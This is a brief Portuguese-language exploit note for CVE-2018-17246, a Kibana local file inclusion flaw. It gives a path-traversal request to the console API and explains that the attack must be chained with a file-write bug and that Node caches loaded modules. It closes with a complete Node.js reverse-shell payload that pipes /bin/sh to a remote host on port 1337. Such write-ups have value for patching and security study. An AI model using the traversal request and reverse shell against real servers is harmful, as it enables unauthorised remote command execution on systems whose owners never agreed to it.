
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Uma Inclusão de Arquivo Local no Kibana descoberta pela CyberArk Labs, o LFI pode ser usado para executar um reverse shell no servidor Kibana com o seguinte payload:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Como você já deve ter adivinhado, este ataque precisa ser combinado com um upload de arquivo irrestrito ou qualquer outra vulnerabilidade que permita escrever um arquivo no servidor.
Não há validação de entrada, então podemos alterar o nome do arquivo JavaScript para qualquer coisa que quisermos. Neste caso, com a técnica de path traversal, podemos escolher qualquer arquivo no servidor Kibana. Uma coisa para se estar ciente, no entanto, é o recurso de cache de módulo do node. Essencialmente, como o LFI funciona enviando entrada de usuário não sanitizada para a função
requiredo node, o módulo incluído (o payload do atacante) será armazenado em cache por nome de arquivo. Isso significa que você não pode enviar o mesmo payload para, por exemplo, recuperar um reverse shell.

Detalhes da vulnerabilidade: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
Aviso de segurança: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();